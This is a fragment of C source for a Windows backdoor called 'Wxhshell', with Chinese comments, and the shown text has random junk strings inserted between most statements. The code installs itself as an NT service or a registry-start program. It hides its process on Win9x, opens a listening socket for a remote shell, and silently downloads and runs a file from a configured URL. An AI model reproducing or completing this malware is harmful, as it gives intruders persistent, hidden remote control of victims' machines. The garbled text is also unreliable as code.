EIr unsigned long cbNeeded; ~":?}) "4L' 2w+ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }HXNhv-K ]M= 3Sn8} CloseHandle(hProcess); =">O;L.xj .eJ4F-V if(strstr(procName,"services")) return 1; // 以服务启动 wRU pQ~=B2 j;<;?IW return 0; // 注册表启动 RCgs3JIE+2 } ,=z8aiUu m qtl0P0 // 主模块 kS+*@o int StartWxhshell(LPSTR lpCmdLine) )2FS9h.t { g!aM-B^C SOCKET wsl; }R.cqk\qa^ BOOL val=TRUE; :IS]|3wD int port=0; )/f,.Z$ struct sockaddr_in door; }4ta#T Ea | F:? if(wscfg.ws_autoins) Install(); ]36 R_Dp TQbhK^] port=atoi(lpCmdLine); rXfQ_ ~M43#E[oOF if(port<=0) port=wscfg.ws_port; !y?g$e` A^o
WSADATA data; L42C< if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2rD`]neA f*kT7PJG if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; xOD;pRZQ
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m"@M~~bh door.sin_family = AF_INET; /[_>U{~P# door.sin_addr.s_addr = inet_addr("127.0.0.1"); $Ne#F+M9x door.sin_port = htons(port); e
0!a
&w ae#7*B if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {f)",# closesocket(wsl); k,b(MAiQ0 return 1; 1
!OQxY}f } nQg6
j Zf %,>> <8 if(listen(wsl,2) == INVALID_SOCKET) { /1Rm^s)2z closesocket(wsl); cdzMao return 1; mVU(u_lh } Px'% 5TKN Wxhshell(wsl); E%jOJA WSACleanup(); tse(iX/D aI+:rk^ return 0; Fi(_A rN}{v}n } RR^I*kRH 0B1*N_.L@ // 以NT服务方式启动 >iWl-hI- VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Wc03Sv&FZ { jlzqa7 DWORD status = 0; hGD7/qTN DWORD specificError = 0xfffffff; ':F{st>&H $ShL^g@ serviceStatus.dwServiceType = SERVICE_WIN32; -\AB!#fh serviceStatus.dwCurrentState = SERVICE_START_PENDING; S1 %{/w serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
0qZ{:}`3 serviceStatus.dwWin32ExitCode = 0; t'0r4&\ serviceStatus.dwServiceSpecificExitCode = 0; ZXHG2@E) serviceStatus.dwCheckPoint = 0; I+8m1* serviceStatus.dwWaitHint = 0; QTK\" >RE&>T^8 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <k}>eGn if (hServiceStatusHandle==0) return; D
OPOzh kw|bEL9!u status = GetLastError(); <hQ@]2w$ if (status!=NO_ERROR) \L6U}ZQ2V { uZ%b6+( serviceStatus.dwCurrentState = SERVICE_STOPPED; 6"eGd" serviceStatus.dwCheckPoint = 0; Xp._B4g serviceStatus.dwWaitHint = 0; $fuFx8`2W serviceStatus.dwWin32ExitCode = status; 1wqCoDgkp serviceStatus.dwServiceSpecificExitCode = specificError; fy9{W @E3p SetServiceStatus(hServiceStatusHandle, &serviceStatus); *sB=Ys? return; qV8;;&8r } eJ$?T7aUf z15(8Y@2] serviceStatus.dwCurrentState = SERVICE_RUNNING; Lg_y1Mu7o serviceStatus.dwCheckPoint = 0; 8r)eiERv serviceStatus.dwWaitHint = 0; %NX if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #qm<4]91 } hG&RGN_<6+ m'oVqA& // 处理NT服务事件,比如:启动、停止 Joq9.%7Q VOID WINAPI NTServiceHandler(DWORD fdwControl) q.~.1
'`! { dg/7?gV switch(fdwControl) (!DH'2I[ { -:cS}I case SERVICE_CONTROL_STOP: =5I1[p; serviceStatus.dwWin32ExitCode = 0; 6DR@$fpt serviceStatus.dwCurrentState = SERVICE_STOPPED; |PDuvv!.f serviceStatus.dwCheckPoint = 0; hFj.d]S serviceStatus.dwWaitHint = 0; j$&k;S { 9BNAj-Xa SetServiceStatus(hServiceStatusHandle, &serviceStatus); [WX+/pm7> } noh3mi return; tNmH*"wR< case SERVICE_CONTROL_PAUSE: B;hc|v{( serviceStatus.dwCurrentState = SERVICE_PAUSED; "`C|;\w break; 8Tv;,a case SERVICE_CONTROL_CONTINUE: 76$19 serviceStatus.dwCurrentState = SERVICE_RUNNING; +J_A*B break; (.
1<.PZp) case SERVICE_CONTROL_INTERROGATE: $vlgiJ&f break; uSM4:!8 }; SECL(@0(^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); BAdHGwomh } f(?>z!n0 z`>a,X // 标准应用程序主函数 9!gmS?f int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wToz{!n { J
Y %B: XV).
cW|.a // 获取操作系统版本 I2YQIY+ OsIsNt=GetOsVer(); 4UC/pGZY GetModuleFileName(NULL,ExeFile,MAX_PATH); #e+%;5\ &Mo=V4i> // 从命令行安装 Nd^9.6,JU if(strpbrk(lpCmdLine,"iI")) Install(); '1=/G7g @\u)k // 下载执行文件 %jKR\f G if(wscfg.ws_downexe) { 3,3{wGvHHW if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /=,^fCCN WinExec(wscfg.ws_filenam,SW_HIDE); ,^:Zf|V } Xdq2 .:\ T1\Xz-1 if(!OsIsNt) { }_@cqx:n^ // 如果时win9x,隐藏进程并且设置为注册表启动 P}DrUND HideProc(); L1P]T4a@) StartWxhshell(lpCmdLine); _
CXKJ]m4 } ~W%A8`9 else A<y3Tc?Q if(StartFromService()) J U}XSb // 以服务方式启动 W4|1wd}.t StartServiceCtrlDispatcher(DispatchTable); WI[6l6 else 92+({ fgW // 普通方式启动 iDp]lu StartWxhshell(lpCmdLine); zdU<]ge "MM7qV return 0; mK@\6GOMYP }
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